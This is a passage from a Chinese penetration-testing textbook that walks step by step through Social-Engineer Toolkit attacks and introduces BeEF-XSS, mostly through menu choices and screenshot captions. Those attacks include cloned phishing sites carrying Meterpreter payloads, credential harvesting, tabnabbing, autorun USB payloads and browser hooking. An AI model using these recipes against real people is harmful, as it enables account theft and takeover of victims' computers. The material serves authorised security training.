SET这款工具的全称为Social-Engineer Toolkit（社会工程学工具包），是由美国著名黑客David Kennedy (ReL1K)所编写。需要注意的是这并不只是一款单独的工具，而是常用的社会工程学工具的集合，其中包含了许多渗透测试工具。
 
首先我们在Kali Linux 2中启动这个Social-Engineer Toolkit，这款工具属于第13个分类Social Engineering Tools中，如图9-1所示。
 
[image: 图片 1]
 
图9-1　在“Applications”中选中SET
 
启动SET之后的版本界面如图9-2所示。
 
[image: 图片 1]
 
图9-2　启动之后的SET版本
 
SET是一个菜单驱动的工具，启动之后的SET工作界面如图9-3所示。我们只需要选择对应的序号就可以完成指定的功能。
 
[image: 图片 2]
 
图9-3　启动之后的SET工作界面
 
图9-3的菜单一共有7个选项，分别是：
 
1）社会工程学攻击。
 
2）渗透测试（Fast-Track）。
 
3）第三方模块。
 
4）升级软件。
 
5）升级配置。
 
6）帮助。
 
99）退出。
 
我们按照这个系统提供的菜单来熟悉一下SET中的功能，如图9-4所示。首先我们先来查看一下第一个选项——社会工程学攻击中包含的功能。
 
[image: 图片 3]
 
图9-4　SET中提供的功能
 
SET里面一共提供了12个功能，分别是：
 
1）鱼叉式网络钓鱼攻击向量。
 
2）网页攻击向量。
 
3）感染式媒体生成器。
 
4）创建payload和listener。
 
5）海量邮件攻击。
 
6）基于Arduino的硬件攻击向量。
 
7）无线热点攻击向量。
 
8）二维码攻击向量。
 
9）Powershell攻击向量。
 
10）短信欺骗攻击向量。
 
11）第三方模块。
 
99）返回到上一级。
 
这里面的第一项是鱼叉式网络钓鱼攻击向量，主要的思路是向目标发送一个带有恶意的文件作为附件的邮件，然后当对方运行这个附件之后，来取得目标计算机的控制权，如图9-5所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\b1ffdefc\Screenshot from 2017-07-09 02-36-07.png]
 
图9-5　SET中的鱼叉式网络钓鱼攻击向量
 
但是SET中发送电子邮件使用的邮箱为Gmail， SET中后面还有很大一部分在介绍如何生成恶意文件，我们只需要将生成的恶意文件作为附件即可以完成同样的工作，所以这部分不做详细的介绍。
 
9.3　SET工具包中的网页攻击方法
 
我们直接来查看一下SET工具包中的第二部分网页攻击向量，这里面包含了一些很有意思的网页攻击方法，如图9-6所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e4816ac0\Screenshot from 2017-07-09 02-46-40.png]
 
图9-6　SET中的网页攻击向量包含的方法
 
首先，我们来查看这里面的第一个方法，“Java Applet Attack Method”，如图9-7所示。从名字上就可以看出来，这种方法是与Java Applet有关的。Java Applet就是用Java语言编写的小应用程序,它们可以直接嵌入到网页中，并能够产生特殊的效果，Applet经编译后,会产生.class的文件,把.class的文件嵌在html的网页中，只要用户连到一个网页里，Applet便会随着网页下载到用户的计算机运行。那么我们在进行渗透测试的时候，可以将以此来检测目标用户的浏览器安全级别是否足以抵御这种钓鱼攻击。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e4826249\Screenshot from 2017-07-09 03-16-36.png]
 
图9-7　SET中的“Java Applet Attack Method”
 
这里因为采用网站攻击的方式，所以必须先建立一个网站出来，当然我们无需自己使用HTML和CSS去重新编写一个页面，不然SET就没有意义了。SET对于页面的建立一共提供了如下3种方法:
 
1）Web Templates。
 
2）Site Cloner。
 
3）Custom Import。
 
“Web Templates”指的就是利用SET中自带的模板作为钓鱼网站，SET中选择了几个国外比较著名的网站，例如Yahoo、Gmail等。
 
“Site Cloner”是SET中一个极为强大的功能，它可以克隆任何的网站，你可以使用它模拟出想要冒充的网站，例如某个单位的OA之类的。
 
“Custom Import”这里允许你导入自己设计的网站。
 
这里我们选择第二个选项，如图9-8所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3ae7430f\Screenshot from 2017-07-09 04-41-02.png]
 
图9-8　SET中的“Site Cloner”功能
 
这里我们在内网中建立一个网站，所以不使用NAT技术，这里选择no即可。
 
用Applet写的java小程序如果没有经过签名，那么访问客户端程序下载后会受到安全限制；在这里需要使用一个经过签名的Applet，所以我们使用系统内置的Applet，如图9-9所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\28777c16\Screenshot from 2017-07-09 03-37-55.png]
 
图9-9　为Applet选择签名
 
此时，系统需要我们输入要克隆网站的地址，也就是要冒充的那个网站，如图9-10所示。这里（出于法律方面的问题，我不使用其他网站）我将克隆的网站设置为我所在单位的主页，如图9-11所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f613555f\Screenshot from 2017-07-09 03-51-46.png]
 
图9-10　输入要克隆网站的地址
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a9edfe5b\Screenshot from 2017-07-09 03-55-36.png]
 
图9-11　开始克隆网站
 
图9-11中的第4行“[*] Inject Java Applet attack into the newly cloned website”提示我们可以在新克隆好的网站上开展一次Java Applet攻击。然后系统会提示你选择一个想要使用攻击载荷的方式，这里面我们选择其中的第一项，Meterpreter Mermory Injection（DEFAULT），如图9-12所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3a674a8f\Screenshot from 2017-07-09 03-59-10.png]
 
图9-12　选择要使用的payload
 
然后需要设置用来监听的端口，这里默认是443，我们保持不变，直接单击回车键即可，如图9-13所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7593d174\Screenshot from 2017-07-09 04-04-23.png]
 
图9-13　选择payload的连接方式
 
这里我们选择一个最为常用的第1种，反向的TCP Meterpreter，如图9-14所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\28e47d6e\Screenshot from 2017-07-09 04-14-28.png]
 
图9-14　启动伪造的页面服务器
 
然后这里的SET工具包还十分人性化地帮我们启动了Metasploit，并自动化地用于监听恶意程序的Handler启动起来，如图9-15所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e41363ba\Screenshot from 2017-07-09 04-22-46.png]
 
图9-15　启动用来控制Meterpreter的handler
 
这样只要有人访问了我们伪造的网站并下载执行了Applet之后，Metasploit就会有提示。现在我们从另外一台计算机来访问这个虚假的网址，在运行这个网站之后，会弹出一个数字签名，如果用户单击“运行”，就会被控制，如图9-16所示。
 
[image: 图片 11]
 
图9-16　伪造的网站
 
在这里SET展示了它最迷惑人的地方，你可以仔细地查看现在的地址栏，是不是已经跳转到了真实的地址，如图9-17所示。
 
[image: 图片 18]
 
图9-17　真实的网站
 
也就是说在一开始的时候，受害者访问的是虚假的网站，并在这个网站下载运行了一个Applet，然后受害者的浏览器就跳转到了真的网站。
 
而此时在我们的Kali Linux 2计算机上又发生了什么呢，我们回头来看看。
 
系统已经打开了一个Session，如图9-18所示。这里我们就可以按照之前前面章节讲过的那样，使用Meterpreter来控制目标计算机了。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\ab67f14d\Screenshot from 2017-07-09 04-53-57.png]
 
图9-18　通过Applet建立的session
 
9.4　在SET工具包中使用Metasploit的模块
 
接下来我们来看看这里面提供的第二个“Metasploit Brower Exploit Method”方法，如图9-19所示。
 
[image: 图片 2]
 
图9-19 “Metasploit Brower Exploit Method”攻击
 
这个功能并不是SET独自完成的，而是和强大的Metasploit合作完成的。Metasploit中包含大量浏览器（例如IE、firefox等）的漏洞。渗透测试者可以利用这些Metasploit中的渗透模块建立一个网站，一旦有用户访问这个网站，网站中的代码就会自动运行，使用各种渗透模块对用户的浏览器进行攻击，如果用户使用的是含有漏洞的浏览器时，网站就可以利用这些漏洞渗透用户的计算机。
 
同样在创建这个网站的时候，我们也需要使用一个常见的网站，这样才不容易引起客户的怀疑，这里面SET跟之前一样提供了3个选项，如图9-20所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3548127c\Screenshot from 2017-07-10 02-38-27.png]
 
图9-20　选择“Web Templates”
 
这里我们选择第一个选项，使用系统自带的模板，如图9-21所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\354912fe\Screenshot from 2017-07-10 02-42-46.png]
 
图9-21　输入要回连的IP地址
 
这里如果我们没有使用NAT技术的话，仍然选择no即可，然后输入用来控制目标计算机的IP地址，这里我们填写的Kali Linux 2所在计算机的IP为192.168.169.130。
 
然后SET会要求我们在默认提供的模板中选择一个，我们这里选择Yahoo来作为要伪造的网站，如图9-22所示。其实这个网站在国内很少有人访问，我们这里只是做个演示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a44aa194\Screenshot from 2017-07-10 02-58-59.png]
 
图9-22　选择要冒充的网站
 
在选择完要使用的页面之后，就会弹出一个窗口，要求你来选择所需要使用的模块，这里需要注意的是，这些渗透模块并不是对所有的浏览器都能起作用的。比如说图9-23中的第4个MS14-12 Microsoft Internet Exploirer TextRange Use-After-Free就只能对IE浏览器起作用，而且如果目标主机打上了对应的补丁的话，也没有作用了。值得注意的是，很多用户并没有注意升级页面的flash插件，而这里面的前两个就是针对Flash的，所以前一段时间，火狐直接干脆禁止了旧版flash插件的运行。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\27c32505\Screenshot from 2017-07-10 03-07-12.png]
 
图9-23　针对浏览器的渗透模块
 
可是很多时候，我们并不知道用户的浏览器是什么，或者存在什么漏洞。这在对一个企业进行渗透测试的时候尤为明显，上百个用户可能都有自己喜欢的浏览器，这里有一个最适合的选项，但也是最为危险的一个选项，SET把它放在了最后一位，也就是第46位的“Metasploit Browser Autopwn”，如图9-24所示。这个模块会自动使用所有的渗透模块对目标进行测试，只要目标浏览器存在以上45个漏洞中的任何一个，就可以将其渗透。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\b6cb9e73\Screenshot from 2017-07-10 03-34-10.png]
 
图9-24　选择“Metasploit Browser Autopwn”攻击方式
 
值得注意的是，我们选择的第46选项是一个非常危险的模块。接下来，我们要在里面选择一个当渗透成功之后需要使用的远程控制模块。这里面提供了9个选择，我们以第一个选项为例，这是一个使用TCP协议的反向控制模块，如图9-25所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\274a2cb3\Screenshot from 2017-07-10 03-40-43.png]
 
图9-25　选择要使用的payload
 
接下来选择要使用的端口，这里默认是443端口，直接按回车键即可，然后系统就会帮助你自动启动Metasploit，并打开一个对应刚才模块的handler，如图9-26所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\72bd9935\Screenshot from 2017-07-10 03-43-11.png]
 
图9-26　系统自动启动Metasploit
 
当你看到如图9-27所示的界面时，表明这个渗透服务器已经建立好了。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\6034aee6\Screenshot from 2017-07-10 03-44-29.png]
 
图9-27　启动这个伪造的服务器
 
从现在开始，一旦有浏览器访问http://192.168.169.130时，就会受到服务器的扫描。好了，这里我们在另外一台计算机上打开浏览器，访问一下这个地址，如图9-28所示。
 
[image: 图片 18]
 
图9-28　使用浏览器访问伪造的网站
 
在目标访问这个地址的时候，我们建立好的伪造的网站就会向目标发送渗透测试模块，现在切换回我们的Kali Linux 2服务器，查看这个过程，可以看到系统正在逐个使用渗透模块对目标进行渗透测试，如图9-29所示。
 
[image: 图片 21]
 
图9-29　已经打开的会话
 
好了，经过我们的测试，目标主机的浏览器上存在五个漏洞，我们现在已经在目标主机上建立了控制会话，如图9-30所示，而且SET还很人性化地将进程迁移到了Iexplore上，它的功能越来越强大了。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\623da0f9\Screenshot from 2017-07-10 04-23-45.png]
 
图9-30　已经建立好的连接
 
到此，我们对目标浏览器漏洞的渗透测试就结束了。
 
9.5　用户名和密码的盗取
 
接下来我们要测试目标单位的用户是否会严格遵守管理协议，他们是否对来历不明的地址做好了充分的戒备。下面采取如图9-31所示的“Credential Harvester Attack Method”攻击方式。
 
[image: 图片 25]
 
图9-31 “Credential Harvester Attack Method”攻击
 
这里的第三项是一种专门用来盗取用户信息的工具，如图9-32所示。通过这个工具可以迅速地克隆出一个网址，这个网址需要登录名和密码，用户在输入了登录名和密码之后，就会被Kali服务器所窃取。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\70369680\Screenshot from 2017-07-10 04-49-46.png]
 
图9-32　选择“Credential Harvester Attack Method”
 
接下来，还是需要我们选择一个创建伪造网站的方法，这里展示的还是常见的3个方法，如图9-33所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3d494a4f\Screenshot from 2017-07-10 04-55-51.png]
 
图9-33　选择创建网站的方式
 
这里面我还是选择第2个，克隆一个已有的网站，如图9-34所示。然后系统会提示我们输入一个用来接收窃取到的用户名和密码的地址。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\2fc07dbd\Screenshot from 2017-07-10 04-56-40.png]
 
图9-34　选择第二种方式
 
这里我将IP设置为本机的地址，如图9-35所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e1346545\Screenshot from 2017-07-10 05-02-33.png]
 
图9-35　输入要克隆的地址
 
之后系统会要求我们输入一个用来克隆的地址，这里我以一个IBM的测试网站作为克隆的地址（这里出于法律考虑），如图9-36所示。
 
[image: 图片 4]
 
图9-36　开始克隆网站
 
当SET中出现如图9-37所示的界面时，表示我们已经成功地启动了服务器。
 
[image: 图片 5]
 
图9-37　启动伪造好的网站服务器
 
现在我们从另外一台计算机来访问这个伪造的服务器，如图9-38所示。
 
[image: 图片 6]
 
图9-38　访问伪造的网站
 
注意这个网站和真实登录界面是一模一样的。用户在其中输入用户名和密码之后单击登录按钮，如图9-39所示。
 
[image: 图片 7]
 
图9-39　填写并提交信息
 
我们返回到Kali虚拟机，如图9-40所示。
 
[image: 图片 8]
 
图9-40　截获到的信息
 
注意看图9-40中自第6行开始“[*] WE GOT A HIT! Printing the output:”之后的部分，这就是刚才用户输入的内容，需要注意的是，这并不是真的服务器，我们的网站只是一个登录界面，是不可能让用户真正登陆上去的。但是我们经常有过这种经历，就是在某个网站输入了用户名和密码之后，页面刷新了一下，然后我们又得再次输入用户名和密码，这时候我们通常会认为是第一次的时候不小心敲错了哪个字符，等再一次输入用户名和密码之后，如果能进入到网站中，也就不会再理会了。
 
SET工具包利用了我们的这个心理，所以当用户第一次输入完用户名和密码之后，在用户的浏览器就会进行一个跳转，跳转之后就会到真实的地址，如图9-41所示。
 
[image: 图片 9]
 
图9-41　跳转到真实的网址
 
如果这时，用户输入了正确的用户名和密码就可以登录到系统中了，就像什么都没有发生过。
 
以上几种是比较常用的方法，下面的几种不是很常用，而且想法也有些另类。
 
9.6　标签页欺骗方式
 
我们接着来查看一下第4种方法，即“Tabnabbing Attack Method”。这是一种想法很新颖的攻击方式，即当受害者在使用浏览器时被上面的标签欺骗攻击，如图9-42、图9-43所示。
 
[image: 图片 10]
 
图9-42 “Tabnabbing Attack Method”攻击方式
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\f60f539f\Screenshot from 2017-07-10 21-02-36.png]
 
图9-43　在命令行中选中“Tabnabbing Attack Method”
 
同样这里还是要我们选择一种网站的设计方式。这里我们选择第二种方式，克隆一个地址，如图9-44所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e4846467\Screenshot from 2017-07-10 21-05-34.png]
 
图9-44　选中创建网站的方式
 
为简单起见，我们仍然以http://www.testfire.net/bank/login.aspx为例子，如图9-45所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\abfbfe00\Screenshot from 2017-07-10 21-11-03.png]
 
图9-45　输入要克隆的网站地址
 
好了，现在我们使用另外一台计算机，打开这个地址192.168.169.130，然后查看网页的内容，如图9-46所示。
 
[image: 图片 15]
 
图9-46　打开的攻击页面
 
这时出现的是一个请等待的页面，其实如果你不进行其他操作的话，这个页面永远都不会变，如果客户觉得这个页面很重要，不会关闭它，但是也不想就这样一直等待下去，他可能就会选择打开另外一个网站，在现在的浏览器中都提供了选项卡功能，这样就可以同时打开多个网站，现在我们就尝试去打开一个新的网站，如图9-47所示。
 
那么用户可能会打开多个选项卡，这时很有可能发生的是，用户自己也不清楚自己打开了多少个网址，而我们之前提供的网站已经偷偷地换了模样，就是原来的网站那里，你仔细地观察一下选项卡，此时的选项卡已经变成了如图9-48这个样子。
 
用户如果经常浏览这个网站的话，可能就会习惯性地输入用户名和密码，这里我们也输入一个用户名和密码来试一下，如图9-49所示。
 
[image: 图片 24]
 
图9-47　打开一个新的标签页
 
[image: 图片 26]
 
图9-48　已经换了内容的攻击页面
 
[image: 图片 27]
 
图9-49　在这个攻击页面中输入并提交用户名和密码
 
这时我们返回到渗透测试用的Kali Linux 2计算机中，可以看到和之前一样捕获到了用户的信息，如图9-50所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\bb70c750\Screenshot from 2017-07-10 21-42-49.png]
 
图9-50　在Kali Linux 2中收集到的用户名和密码
 
 
 	同样，在输入完用户名和密码之后，用户的浏览器也跳转到了正常的网站，如图9-51所示。
 

 
[image: 图片 31]
 
图9-51　真实的网站
 
9.7　页面劫持欺骗方式
 
接下来我们来看看 “Web jacking Attack Method”，如图9-52所示。这个方法的操作其实很简单，这里我们只是简单地进行一下描述。
 
[image: 图片 32]
 
图9-52 “Web jacking Attack Method”攻击方式
 
这里面给出了一个页面跳转的提示，这是我们平时经常会看到的，某某网站已经迁移至另外一个地方，如果我们这时点击了页面上给出的连接，就会跳转到如图9-53所示的页面。
 
[image: 图片 33]
 
图9-53　伪造的页面
 
看起来好像和真实的网站一样，但是仔细看就会发现地址并不相同，如果用户在这个页面中输入了用户名和密码的话，跟之前的两种方法一样，也会被渗透测试者所获悉。
 
如果你觉得某一种方法不够充分的话，可以选择使用Multi-Attack Web Method，这个方法可以一次性地将所有方式都用上。
 
9.8　HTA 文件攻击欺骗方式
 
最后来介绍一种HTA Attack方法，这种方法和第一种Java Applet其实很像，如图9-54所示。
 
[image: 图片 38]
 
图9-54　选择“HTA Attack”攻击模式并设置要克隆的地址
 
接下来设置好用来接收控制的端口和要使用的攻击载荷等，如图9-55所示。
 
[image: 图片 39]
 
图9-55　选择要使用Meterpreter的类型
 
接下来系统会自动启动Metasploit，并根据我们之前的设置，建立一个对应的Handler，如图9-56所示。
 
[image: 图片 40]
 
图9-56　建立对应的Handler
 
注意这里，不同的浏览器可能会有不同的处理方式，如图9-57所示。
 
[image: 图片 44]
 
图9-57　系统自动下载HTA文件
 
打开了这个页面之后，系统就会自动下载一个HTA文件，如图9-58所示。
 
[image: 图片 45]
 
图9-58　下载的Launcher.hta文件
 
跟之前的Java Applet攻击一样，如果你选择执行了这个HTA文件的话，渗透测试者就可以控制你的计算机了。
 
9.9　自动播放文件攻击
 
我们经常会遇见这样一种令人十分烦恼的木马文件，例如只要U盘一插到计算机上，就会立刻执行的病毒。SET中也提供了这种功能。
 
图9-59中的第3种就是常见媒介感染，这里面的媒介指的是光盘和U盘等，目前光盘已经极为少见了，所以我们这里只介绍了U盘方式。
 
[image: 图片 1]
 
图9-59　Infectious Media Generator攻击方式
 
这种渗透测试执行时，会产生两个文件，一个是autorun.inf文件，一个是Metasploit的攻击载荷文件。当这个移动媒介（比如说U盘）一插入到计算机上时，autorun.inf文件就会自动将另一个攻击模块执行。这里面的攻击模块有两个选择，第一种是基于文件格式的渗透模块，第二种是Metasploit的执行模块，如图9-60所示。
 
[image: 图片 4]
 
图9-60 “File-Format Exploits”攻击方式
 
这里我们选择第二种，即Metasploit的执行模块，如图9-61所示。
 
[image: 图片 1]
 
图9-61　Metasploit的执行模块
 
然后在这里面选择要执行的功能，如图9-62所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\ff0e0801\Screenshot from 2017-07-12 01-52-24.png]
 
图9-62　选择要执行的功能
 
这里我们选择一个要使用的攻击载荷，比如图9-62所示最为常见的2。然后设置一下攻击载荷的IP地址和端口。如图9-23所示将IP地址设置为192.168.169.130，端口设置为5555。
 
[image: 图片 3]
 
图9-63　设置攻击载荷的IP和端口
 
系统会根据你的输入生成U盘自动运行程序。这需要一段时间，等一会会生成两个文件payload.exe和autorun.inf。
 
[image: 图片 4]
 
图9-64　设置生成攻击载荷的位置
 
如图9-64所示，两个文件生成完毕之后位于/root/.set/autorun/目录下，注意这是一个隐藏的目录，在资源管理器是看不到的。
 
[image: 图片 9]
 
图9-65　生成的攻击载荷
 
接下来系统提示会如图9-65所示，如果要使用这两个文件的话，需要将这两个文件复制到一个USB设备中。接下来SET会询问是否创建一个Handler。
 
[image: 图片 11]
 
图9-66　是否创建一个监听器
 
选择yes之后，系统会启动Metasploit，然后自动创建一个Handler，如图9-67所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7e048bb1\Screenshot from 2017-07-12 02-04-51.png]
 
图9-67　自动创建一个Handler
 
接下来我们将/root/.set/autorun/目录下的两个文件复制到外部，我们在root下创建一个test文件夹，然后执行命令 cp -r /root/.set/autorun/* /root/test/，得到的结果如图9-68所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\6c87fcfc\Screenshot from 2017-07-12 03-00-58.png]
 
图9-68　生成的攻击载荷
 
将上面的两个文件复制到U盘上，然后将U盘插入到别的计算机上，如图9-69所示。
 
[image: 图片 2]
 
图9-69　将攻击U盘插入到计算机中
 
当另外一台计算机中执行了这个文件之后，就会加载控制payload.exe，然后我们返回到Kali Linux 2来查看一下都发生了什么，如图9-70所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e7846962\Screenshot from 2017-07-12 03-31-37.png]
 
图9-70　打开的会话
 
由图9-70可以看出已经打开了一个新的会话。不过由于现在操作系统安全性能的不断提高，我们会发现autorun.inf文件其实很难执行了。
 
但是，你是否设想过，当你使用一个来历不明的鼠标、键盘，甚至一个充电器时，都有可能会导致系统被渗透呢？这里面我推荐一个硬件Teensy，攻击者在使用这个硬件定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小巧且功能完整的单片机开发系统，它能够实现多种类型的项目开发和设计。但是限于本书的篇幅，这里不再进行详细的介绍，如果你希望对此进行更深入的研究，可以参考这个工具包的官方网址https://www.social-engineer.org/framework/se-tools/computer-based/social-engineer-toolkit- et/提供的教程。
 
9.10　小结
 
本章介绍了一个全新的攻击方式：社会工程学。鉴于单纯地针对目标漏洞展开攻击的方式成功率已经越来越低，越来越多的网络黑客在攻击中采用了各种各样的社会工程学方式。因此作为一个网络渗透测试者，社会工程学是一个必不可少的技能。
 
本章一开始介绍了Kali Linux 2中社会工程学工具包的基本使用方法，这个工具包social-engineer-toolkit提供了大量的成熟的社会工程学攻击方式，随后我们就其中最为经典的几种方式进行了介绍，这些方式包括网页攻击方法、使用Metasploit的模块、用户名和密码的盗取、页面劫持欺骗方式、页面劫持欺骗方式、HTA 文件攻击欺骗方式和自动播放文件攻击。虽然本章花费了大量的篇幅来介绍这些社会工程学攻击，但是仍然有很多攻击方法没有涉猎到。在本章的最后，我给出了social-engineer-toolkit的官方网址，推荐大家访问这个网址，来进一步了解社会工程学这个新兴的学科。
 
下一章我们将介绍另外一个很有意思的工具BeEF-XSS。
 


第10章　BeEF-XSS渗透框架的使用
 
在上一章中我们介绍了社会工程学，这是一种成功率极高的攻击方式，在这一章中我们来介绍一种看起来和它有些相似的方法：XSS（跨站脚本攻击）。这种攻击指的是恶意攻击者往Web页面里插入恶意脚本代码，当用户浏览这个页面的时候，嵌入的脚本代码会被执行，从而达到攻击用户的目的。
 
我们在对互联网进行访问的时候，其实并没有意识到这里是一个充满了危险的地方。互联网中的陷阱要远比我们的真实世界多的多，任何在互联网上浏览到的页面都有可能是别人精心设计出来的。当你访问这样的一个页面的时候，浏览器就会被恶意攻击者所控制。
 
在这一章中，我们将会使用一个极为流行的“BeEF”框架来模拟一次渗透过程。BeEF是世界上最流行的WEB框架攻击平台，全称为“The Browser Exploitation Framework Project”。它的原理是利用XSS漏洞，通过一段编写好的JavaScript（hook.js）控制目标主机的浏览器。“BeEF”本来的意思是牛肉，这个渗透框架一直在更新中，最新的版本中添加了很多高效的功能，另外一点极为优秀的地方就是这个渗透框架还可以与Metasploit完美地结合在一起。我们将从如下几点进行讲解：
 
 
 	BeEF的启动
 
 	BeEF的基本渗透操作
 
 	使用BeEF和Metasploit协同工作
 
 	BeEF的其他实用操作
 

 
10.1　BeEF的启动
 
首先，我们来启动BeEF这个XSS渗透框架，同样这个渗透框架可以在命令行或者菜单中启动，由于这个渗透框架的原理是建立一个存在跨站漏洞的Web页面，所以我们首先需要启动Kali中的Web服务器，目前Kali使用的是Apache作为Web服务器，启动Apache的命令为：
 
root@kali:~# service apache2 start
 
成功启动Apache之后，在同一个终端中输入“beef-xss”。
 
root@kali:~# beef-xss
 
成功启动BeEF之后，会出现两个IP地址链接，如图10-1所示。
 
[image: 图片 3]
 
图10-1　启动之后的BeEF
 
其中第一个地址http://127.0.0.1:3000/ui/panel是我们用来对BeEF进行控制的操作界面。而另一个地址http://<IP>:3000/hook.js就是一段使用JS编写的脚本，你可以将这个脚本放置在任意的一个网页中，其他人一浏览这个页面就会被渗透。
 
在浏览器中打开http://127.0.0.1:3000/ui/panel这个地址，如图10-2所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7ca8c10d\Screenshot from 2017-08-26 22-52-06.png]
 
图10-2　BeEF的登录界面
 
第一次登录所使用的用户名和密码都是“beef”，成功登录后显示的界面如图10-3所示。
 
[image: 图片 7]
 
图10-3　BeEF的控制界面
 
BeEF的操作界面可以分成两个部分。左侧是所有被渗透的主机，这里分成了两个部分：一个部分是Online Browers，表示当前可以控制的主机；另一个部分是Offine Browses,表示的是曾经控制过的主机。右侧是一个向导界面，在这个向导界面中介绍了BeEF的功能和使用方法。BeEF提供了两个用来掩饰的页面的超级链接，就是图10-3中框起来的两个“here”。前面的一个“here”链接到了一个BeEF基本功能的页面，后面的一个“here”链接到了一个BeEF高级功能的页面。
 
BeEF基本功能的演示界面如图10-4所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a05fe734\Screenshot from 2017-08-26 23-14-53.png]
 
图10-4　BeEF基本功能的演示界面
 
BeEF基本功能的演示界面是一个简单得没有任何图片的页面，BeEF高级功能的演示界面如图10-5所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\ed2b7b47\Screenshot from 2017-08-26 23-15-05.png]
 
图10-5　BeEF高级功能的演示界面
 
这个高级功能的演示界面看起来美观了很多，上面居然真的有牛肉。但是这当然不可能是一个真的介绍烹饪或者在线出售生鲜之类的网站，而是一个充满了各种各样陷阱的网站。任何主机在浏览这个网站的时候都会被渗透。
 
但是127.0.0.1是使用Kali Linux 2本机访问这个BeEF页面时才能使用的地址，如果其他设备访问的时候，要使用这台Kali Linux 2主机的IP地址。在我们本次试验中，使用的IP地址为192.168.1.104。
 
10.2　BeEF的基本渗透操作
 
每当有用户不小心掉进了这个网站的陷阱，BeEF中就会有显示，我们可以在BeEF控制台（也就是我们最开始打开的那个页面）看到被控制的主机。下面我们使用一台操作系统为Android的手机设备来访问这个网站，在手机的浏览器上浏览地址“http://192.168.1.104: 3000/demos/butcher/index.html”。这时BeEF控制界面的左侧的online Browsers分类中就会多出一个IP地址来，如图10-6所示。
 
[image: 图片 11]
 
图10-6　已经上钩的主机IP地址
 
图10-6中上面的192.168.1.104是BeEF服务器所在的地址，下面的192.168.1.101是手机使用的IP地址。现在表示192.168.1.101这个地址已经上钩了。单击这个地址之后，BeEF管理界面的右侧就会显示出更多的内容来，一共有detatils、logs、commands、rider、XssRays、Ipec、Network、WebRTC这8个选项卡。
 
其中details选项卡中显示的是被控制主机的信息，如图10-7所示。
 
[image: 图片 12]
 
图10-7　被控制主机的信息
 
logs中记录的是BeEF中的日志。第3个选项卡Commands是BeEF功能中最为重要的，这个功能一共分成了3列，左侧列出来的是所有可以使用的模块，这些模块按照它们的功能分成了很多种类，我们在Module Tree中看到的以文件夹形式显示出来的就是这些分类。中间是模块执行的命令，右侧是模块功能的介绍和详细设置，通常还有一个执行（execute）按钮，每个模块前面都有一个有颜色的图标，一共有绿黄灰红4种颜色：
 
绿色表示该模块可以很好地在目标主机上运行而且目标用户并不知情。
 
黄色表示该模块可以很好地在目标主机上运行但是目标用户可能会知晓。
 
灰色表示这个模块在目标主机上的效果还有待验证。
 
红色表示这个模块不能在目标主机上运行。
 
BeEF中的commands标签页如图10-8所示。
 
[image: 图片 13]
 
图10-8　BeEF中的commands标签页
 
例如我们以最后的社会工程学工具包Social Engineering中的Google phishing为例，如图10-9所示。
 
[image: 图片 15]
 
图10-9　BeEF中的Google phishing方式
 
这是一个伪造页面的模块，当我们单击右下角的Execute按钮之后就可以在目标浏览器上伪造一个Google邮箱的登录页面来，如图10-10所示。
 
现在我们重新打开手机，等待一会儿，刚才的页面就自动变换成为了Google的登录页面。
 
如果手机用户相信了这个页面的话，就会在该页面中输入自己的用户名和密码，如图10-10。
 
[image: 图片 25]
 
图10-10　用户在登录页面输入用户名和密码
 
